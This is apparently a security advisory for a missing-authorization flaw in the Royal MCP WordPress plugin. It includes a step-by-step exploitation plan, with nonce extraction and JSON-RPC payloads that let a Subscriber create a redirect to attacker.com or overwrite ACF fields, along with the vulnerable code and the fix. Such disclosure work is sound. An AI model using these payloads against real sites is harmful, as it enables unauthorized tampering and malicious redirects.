Royal MCP – Secure AI Connector for Claude, ChatGPT & Gemini <= 1.4.25 - Missing Authorization
Description
The Royal MCP – Secure AI Connector for Claude, ChatGPT & Gemini plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.4.25. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.4.26
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-54842 ## 1. Vulnerability Summary The **Royal MCP** plugin for WordPress is vulnerable to **Missing Authorization** in its Model Context Protocol (MCP) server implementation. The plugin registers a REST API endpoint (`/wp-json/royal-mcp/v1/mcp`) designed to a…
Show full research plan
Exploitation Research Plan - CVE-2026-54842
1. Vulnerability Summary
The Royal MCP plugin for WordPress is vulnerable to Missing Authorization in its Model Context Protocol (MCP) server implementation. The plugin registers a REST API endpoint (/wp-json/royal-mcp/v1/mcp) designed to allow AI agents (like Claude or ChatGPT) to interact with WordPress tools (ACF, WooCommerce, Royal Ledger, etc.). While the plugin implements authentication via API keys and OAuth tokens, it fails to perform a capability check (e.g., current_user_can('manage_options')) when a request is authenticated via standard WordPress session cookies. This allows any authenticated user, including those with Subscriber-level access, to execute administrative tools and modify site data.
2. Attack Vector Analysis
- Endpoint:
/wp-json/royal-mcp/v1/mcp - Method:
POST - Authentication: Authenticated (Subscriber or higher).
- Required Header:
X-WP-Nonce(standard WordPress REST API nonce). - Payload Format: JSON-RPC 2.0.
- Vulnerable Action: Execution of any "MCP Tool" defined in the
Integrationsnamespace.
3. Code Flow
- Entry Point: A POST request hits the REST route registered in
includes/MCP/Server.php(likely inside aregister_rest_routecall in an initialization hook). - Authentication: The
Server::validate_auth()method (inincludes/MCP/Server.php) checks for Bearer tokens or API keys. If the user is already logged into WordPress via cookies, the REST API infrastructure handles authentication, andvalidate_authmay be bypassed or returntruebased on the user session. - Missing Check: The
Serverclass processes the JSON-RPC message. It fails to verify if the authenticated user possesses the necessary administrative capabilities before proceeding to tool execution. - Sink: The request reaches
Server::execute_tool()(or a similar handler), which dispatches the call to integration classes:Royal_MCP\Integrations\ACF::execute_toolRoyal_MCP\Integrations\RoyalLinks::execute_toolRoyal_MCP\Integrations\WooCommerce::execute_tool
- Execution: The integration class performs the action (e.g.,
acf_update_field,rlinks_create_link,wc_update_order_status) using the arguments provided in the JSON-RPCparams.
4. Nonce Acquisition Strategy
The exploit requires a standard WordPress REST API nonce (wp_rest).
- Create a Trigger Page: Since the plugin is designed for AI interaction, it may enqueued scripts on the admin dashboard or pages where MCP is active.
- Standard Extraction:
- Log in as the Subscriber.
- Navigate to the WordPress dashboard or homepage.
- Execute the following JS via
browser_eval:window.wpApiSettings ? window.wpApiSettings.nonce : "" - Alternatively, extract it from the
_wpnoncevalue in thewp-jsonscript tag in the HTML source.
5. Exploitation Strategy
We will use the rlinks_create_link tool from RoyalLinks.php to create an unauthorized redirect, demonstrating the ability to modify site content.
Step 1: Authentication
Log in as a Subscriber user to obtain a session cookie.
Step 2: Obtain REST Nonce
Use browser_navigate to the homepage and browser_eval to get wpApiSettings.nonce.
Step 3: Execute Unauthorized Action
Send a POST request to the MCP endpoint to create a new link.
Request:
- URL:
http://localhost:8080/wp-json/royal-mcp/v1/mcp - Method:
POST - Headers:
Content-Type: application/jsonX-WP-Nonce: [obtained_nonce]Origin: http://localhost:8080
- Body:
{
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "rlinks_create_link",
"arguments": {
"title": "Exploit Link",
"destination_url": "https://attacker.com",
"slug": "pwned",
"redirect_type": "301"
}
},
"id": 1
}
6. Test Data Setup
- Target Plugin: Ensure
Royal MCP(<= 1.4.25) is active. - Dependency: Ensure the
Royal Linksplugin is active (or mocked) soRoyal_Links_Post_Type::create_linkis available. - Attacker Account: Create a user with the
subscriberrole.wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
7. Expected Results
- The server responds with
200 OK. - The response body contains a JSON-RPC result object with the details of the created link:
{
"jsonrpc": "2.0",
"result": {
"id": 123,
"title": "Exploit Link",
"slug": "pwned",
"short_url": "http://localhost:8080/go/pwned",
"destination_url": "https://attacker.com"
},
"id": 1
}
8. Verification Steps
After the exploit, verify the link creation via WP-CLI:
wp post list --post_type=royal_link --field=post_title
# Expected output should include "Exploit Link"
Check the metadata of the created link:
wp post meta list [ID]
# Verify _royal_links_destination_url is "https://attacker.com"
9. Alternative Approaches
If Royal Links is not active, target Advanced Custom Fields (ACF):
- Requirement: ACF plugin must be active.
- Payload: Call
acf_update_fieldto change the value of an existing field on a post.
{
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "acf_update_field",
"arguments": {
"field_name": "target_field",
"post_id": 1,
"value": "Modified by Subscriber"
}
},
"id": 1
}
Verify via: wp post meta get 1 target_field.
Summary
The Royal MCP plugin for WordPress is vulnerable to unauthorized access via its MCP tool execution endpoint. While the plugin implements custom authentication for AI agents, it fails to perform capability checks on authenticated WordPress user sessions, allowing low-privileged users like Subscribers to execute administrative actions through JSON-RPC calls.
Vulnerable Code
// includes/Integrations/ACF.php:168 in v1.4.25 case 'acf_update_field': $field_name = sanitize_text_field( $args['field_name'] ?? '' ); $post_id = intval( $args['post_id'] ?? 0 ); if ( '' === $field_name || $post_id <= 0 ) { throw new \Exception( 'field_name and post_id are required' ); } if ( ! get_post( $post_id ) ) { throw new \Exception( 'Post not found for ID ' . esc_html( (string) $post_id ) ); } // Missing capability check (e.g., edit_post) before writing update_field( $field_name, $args['value'], $post_id ); --- // includes/Integrations/ForgeCache.php:79 in v1.4.25 case 'fc_clear_cache': // Missing capability check (e.g., manage_options) before execution \ForgeCache_Cache::clear_all_cache_static(); return [ 'success' => true, 'message' => 'ForgeCache page cache cleared.', ]; --- // includes/Integrations/RoyalLinks.php:127 in v1.4.25 case 'rlinks_create_link': if ( ! class_exists( 'Royal_Links_Post_Type' ) ) { throw new \Exception( 'Royal_Links_Post_Type class not loaded' ); } // ... (args preparation) // Missing capability check before creating a link $result = \Royal_Links_Post_Type::create_link( $create_args );
Security Fix
@@ -108,6 +108,11 @@ if ( ! get_post( $post_id ) ) { throw new \Exception( 'Post not found for ID ' . esc_html( (string) $post_id ) ); } + if ( ! current_user_can( 'read_post', $post_id ) ) { + throw new \Exception( 'You do not have permission to read ACF fields on this post.' ); + } $field_object = get_field_object( $field_name, $post_id, true, true ); @@ -168,6 +176,11 @@ if ( ! get_post( $post_id ) ) { throw new \Exception( 'Post not found for ID ' . esc_html( (string) $post_id ) ); } + if ( ! current_user_can( 'edit_post', $post_id ) ) { + throw new \Exception( 'You do not have permission to edit ACF fields on this post.' ); + } if ( ! array_key_exists( 'value', $args ) ) { throw new \Exception( 'value is required (pass null to clear the field)' ); } @@ -79,6 +81,9 @@ switch ( $name ) { case 'fc_clear_cache': + if ( ! current_user_can( 'manage_options' ) ) { + throw new \Exception( 'You do not have permission to clear the ForgeCache page cache.' ); + } \ForgeCache_Cache::clear_all_cache_static();
Exploit Outline
The exploit involves an authenticated attacker with Subscriber-level privileges leveraging standard WordPress session cookies to bypass authorization. The attacker first logs in and extracts a REST API nonce (standard `wp_rest` nonce) from the WordPress dashboard or via browser console. They then send a POST request to the `/wp-json/royal-mcp/v1/mcp` endpoint containing the `X-WP-Nonce` header. The request body uses the JSON-RPC 2.0 format to invoke a tool, such as `rlinks_create_link` (to create unauthorized redirects) or `acf_update_field` (to modify post metadata), which the plugin executes without verifying if the user has the required administrative capabilities.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.